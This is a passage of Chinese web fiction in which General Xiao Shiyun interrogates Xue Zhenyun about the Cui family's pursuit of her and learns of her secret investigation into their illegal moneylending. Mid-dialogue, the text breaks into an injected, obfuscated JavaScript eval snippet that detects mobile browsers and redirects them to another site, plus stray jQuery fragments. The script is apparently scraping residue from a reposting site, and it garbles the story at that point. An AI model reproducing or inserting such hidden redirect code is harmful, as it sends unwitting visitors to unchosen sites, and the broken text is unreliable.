萧时运给青枝打了个眼色，顺手揽过薛枕云，带人攀上头顶枝干粗壮的树干，青枝也跃上隔壁的树，抽刀警惕盯着地面。
大约一盏茶的时间，几个短衣杂役打扮的人从树下跑过。薛姑娘紧紧抱着树干，此刻瞧见来人，更是大气都不敢出，头顶黑字乱闪，晃得萧将军都有点无奈。
“真奇怪，明明是往这边跑了，怎么不见了？”
“是不是躲到村里去了？”
“赶紧去看看，三少爷下了死命令，务必抓到人。”
萧时运耐着性子等那几个人跑远，笑眯眯看向薛枕云：“薛姑娘为什么会在这？”
薛姑娘惊魂未定，乍听见她开口，身子猛然抖了一下。她虚虚扶了一下薛姑娘的肩，唇边笑意愈深：“当心些，若从这里掉下去，怕是没有方才毫发无伤的运气了。”
薛枕云战战兢兢转过头，一双杏眼泪汪汪看萧时运：“将军能不能先带民女下去。”
她好怕掉下去。
这么高的地方，为什么这两个人轻易就带她上来了。
萧时运抬手拨开她额前散落的发丝，笑：“不能。”
薛姑娘绝望了。
“别担心，你如果说实话，我带你回京城，保证那些人不能伤你分毫。”萧将军拿掉她发髻上沾的枯叶，字句轻缓，“薛姑娘若不愿说，我也不会勉强你。”
“不过你要自己想办法下去了。”
薛枕云眼看对面真要把她一个人扔在树上，下意识想去抓萧时运的袖子，又不敢放开树干，声音急得带上了哭腔：“你别走！”
“我……我都告诉你。”
她咬唇挣扎片刻，小声讲：“我今日是来岭下庄给刘夫人送首饰，没想到被崔家三少爷看见了。”
“崔效？刚才那些是崔家的下人？”萧时运皱眉，“好端端地，他抓你做什么？”
听那些人的口气，薛姑娘惹得事还不小。
“我……”薛枕云怯怯看了眼地面，“我之前偷偷收留了崔家一个逃奴，被他们发现了，三少爷才派人抓我问话。”
长风穿行过林间，吹得满地枯叶飘摇。萧时运看着她，慢慢收起唇边的笑，语气冷了许多：“我的耐心有限。”
“崔家到底为什么要抓你？”
萧时运瞳色深，此刻略微抬脸，黑白分明的审视里仿佛带了点戾气。薛枕云被那目光盯着，不由打了个寒颤，几乎哭出声来：“我收留的，是……是李姑娘。”
大概担心萧时运不清楚其中利害，她又急忙解释了一句：“崔故就是为了争李姑娘，才当街打死了人。”
“薛姑娘平日常来南平吗？”萧时运饶有趣味盯着她，“李姑娘逃出崔宅，就这么巧，能遇见你？”
薛枕云自知瞒不下去，只得和盘托出：“南平有几位夫人是珠翠楼的熟客，我会来给她们送首饰。但那日帮李姑娘……是沈姐姐的主意。”
“沈姐姐可怜李姑娘的遭遇，所以借着去崔家做客，悄悄放走了她。我则在外面接应，把她送到相熟的大娘家。”
薛枕云略微转头，勉强抬起一根手指，给萧时运指了个方向：“就……就在那边的庄子。那个大娘和李姑娘的母亲是自幼的交情，李家铺子烧了，还好有她愿意收留李姑娘。”
“可没想到……没想到李姑娘被崔家人看到了。崔效派人来找了一次，幸好没被发现。我得知消息，和沈姐姐商量，把人接到了京城。”
“李姑娘现在在哪？”
“在珠翠楼。”薛枕云可怜兮兮看着萧时运，“我偷偷离京接李姑娘，被母亲发现了。”
薛姑娘挨了顿骂，但薛掌柜还是留下了李姑娘。
萧时运想起看见她去找沈怀月的事，问：“你是哪天接李姑娘进京的？”
薛枕云说了个日子，确实是萧时运看见她雇马车出京那天。
想不到是去救人。
萧时运神色缓和了些：“崔效抓你，只是因为这个？”
“真的！”薛枕云用力点头，“求求你了，快带我下去吧。”
“知道了。”萧时运看着她抱在树干的手臂，不由笑了一声，“你抓这么紧，我怎么带你下去。”
两人带薛姑娘回了客栈，薛枕云不会骑马，萧时运算了一下时间，估计马车不能在城门关闭前赶回京城，便让青枝去买些吃食，暂且在南平多留一晚。
薛枕云怯生生站在角落，似乎努力想把自己融进墙里，彻底抹去这不合时宜的存在感。萧时运见状笑了一声：“离那么远干什么，我又不吃人。”
她小心翼翼挪到椅子边，萧时运递了杯茶给她，薛姑娘忙道不敢。萧时运见状也没再勉强，随手将茶杯放在桌上，把店家送来的水果往她面前推了推，语气散漫：“你不用紧张，我在边关待惯了，懒得讲究京城那些虚礼。只要你不动歪心思，我不会为难你。”
薛姑娘跑了半日，此刻也确实累了。她坐下喝了半杯茶，紧张捧着杯子，小声问：“将军为什么来南平。”
萧将军闻言斜乜她一眼：“怎么，薛姑娘要过问朝廷的公务？”
“我……我只是好奇。”薛枕云吓得缩了缩脖子，“若是不能问，将军便当没听到。”
萧时运不置可否，只自顾自剥了个橘子吃。薛姑娘以为萧将军不会再理自己的时候，却听见她问：“崔家做的那些事，沈小姐知道吗？”
她猛然打了个激灵：“不……不知道！”
“真有意思。”萧时运笑，“我还没说什么事呢，薛姑娘怎么就急着否认。”
薛枕云头顶的黑字疯涨，几乎要冲到顶点：“我……我以为将军说的，是崔家放利钱的事。”
萧将军闻言来了兴趣，顺手把剥好的另一半橘子递给她：“你知道崔家放利银？”
“嗯……”薛姑娘咬了一下嘴唇，看起来紧张得很，甚至没注意去接她递过来的东西，“我听母亲和人聊天时提过。”
萧时运索性把东西塞到她手里：“你没告诉沈小姐？”
“母亲警告过我，不许乱说。”薛枕云愣愣盯着那半个橘子沉默了一会儿，小声问，“将军觉得我应该告诉沈姐姐吗？”
“那是你自己的事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995097|192237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”萧时运见薛姑娘不吃，也没有再勉强，只把余下几瓣放回盘中，打算一会儿骗青枝尝尝店家这份酸得离谱的热心。她看着身边人，心不在焉笑了笑，又讲，“比起这个，我更好奇，薛姑娘真的知道自己在做什么吗？”
薛枕云一时没明白萧时运的意思，茫然问。将军指什么？
“那小厮的原话是崔效下了死命令抓你。”萧时运兴致缺缺支着下巴，“一个丫鬟不值得崔家如此大动干戈。薛掌柜和京中许多达官贵人都有私交，崔家不至于在这个节骨眼上，为了抓个丫鬟，去伤她的女儿。”
“很显然，你身上有别的秘密，让崔家宁愿再惹一场官司，也要抓住你。”
“我不知道你究竟掺和到什么程度，但如果你在替沈怀月做事，我可以告诉你。”她无动于衷看着薛枕云头顶涨无可涨的黑字，“她会害死你。”
薛枕云抿唇沉默半晌，突然抬高了声音：“沈姐姐没有害我，我是…是自愿帮李姑娘的！”
“若能查到债主和崔家的关联，李姑娘就能去告官，不必再受他们欺负。”
即使已经怕得发抖，她还是努力抬起头，强撑着讲完了这份义正言辞的辩白：“沈姐姐说了，宣朝律是明令禁止利银每月不得过六分，那些人却每日记利还款，硬是逼得人没了活路，南平县令也帮他们说话，京兆府天子脚下，竟没半点王法吗！”
萧时运无端想，要是沈怀月在就好了。
沈小姐面对这份天真的正直，会有惭愧吗？
薛枕云无从得知她的想法，只是看萧将军神色忽然冷下来，以为是自己的话犯了忌讳，才后知后觉想起害怕。
满室的沉默沉甸甸压在薛姑娘心口，堵得她几乎喘不过气。萧时运盯着她看了一会儿，问：“你和沈怀月在查崔家放债的事？”
话讲到这个地步，再遮掩也没什么意义。薛枕云犹豫了一下，点头道：“是。”
“真巧。”萧时运笑了一声，“我来南平，也是为了查崔家。”
薛枕云颇为意外地看着眼前人：“真的？将军是为了薛家的事来的？”
“有人很希望我替他除掉崔家。”她敛眸喝了口茶，“那人暂且算是我的盟友，我也就不介意替他来看一眼。”
“既然我们目的一致，薛姑娘不如坦诚点。毕竟沈翰林自己的官职尚且比崔大人矮一级，真要对付崔家，怕也没那么容易。”
虽说翰林们的前程也不是这么比的，但谁让薛姑娘好骗呢。
而且有她在，沈大人今生是别想从翰林院熬出头了。
萧时运正盘算着日后的坏主意，却听见薛姑娘问。
“我可以相信将军吗？”
薛枕云顿了一下，迟疑看着眼前人：“沈姐姐说，崔家背后，有京城的贵人。”
萧时运：……
她揉了揉额角，无奈问：“薛姑娘不会是怀疑我吧？”
“没……没有！”
萧时运叹了口气，终于还是忍不住，抬手敲了一下她的额头：“蠢姑娘，我如果是崔家的同党，刚刚根本就不会救你。”